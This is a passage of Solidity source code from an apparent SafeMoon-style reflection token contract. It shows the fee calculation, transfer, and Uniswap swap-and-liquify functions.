rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }